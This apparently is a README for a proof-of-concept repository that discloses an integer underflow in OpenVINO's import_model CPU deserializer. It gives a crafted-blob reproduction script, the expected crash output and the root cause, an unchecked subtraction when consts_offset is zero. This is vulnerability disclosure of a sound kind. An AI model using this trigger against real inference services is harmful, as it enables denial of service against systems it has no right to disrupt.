openvino-import-model-poc

OpenVINO import_model DataHeader Integer Underflow PoC

This repository contains a proof-of-concept for a DataHeader integer underflow vulnerability in OpenVINO's import_model (CPU plugin deserializer).

Files

• evil.blob: 200-byte crafted compiled model blob. When loaded via ov.Core().import_model(io.BytesIO(blob), 'CPU'), triggers a RuntimeError due to std::string::resize(0xFFFFFFFFFFFFFFD0).

Reproduce

import io, openvino as ov
core = ov.Core()
blob = open('evil.blob', 'rb').read()
core.import_model(io.BytesIO(blob), 'CPU')

Expected output (OpenVINO 2025.3.0):

RuntimeError: Exception from src/inference/src/cpp/core.cpp:192:
Exception from src/inference/src/dev/plugin.cpp:73:
basic_string

Root Cause

DataHeader.custom_data_size is computed via unsigned subtraction consts_offset - custom_data_offset with no overflow check. Setting consts_offset=0 causes the value to wrap to ~18.4 EB, bypassing all four consistency checks.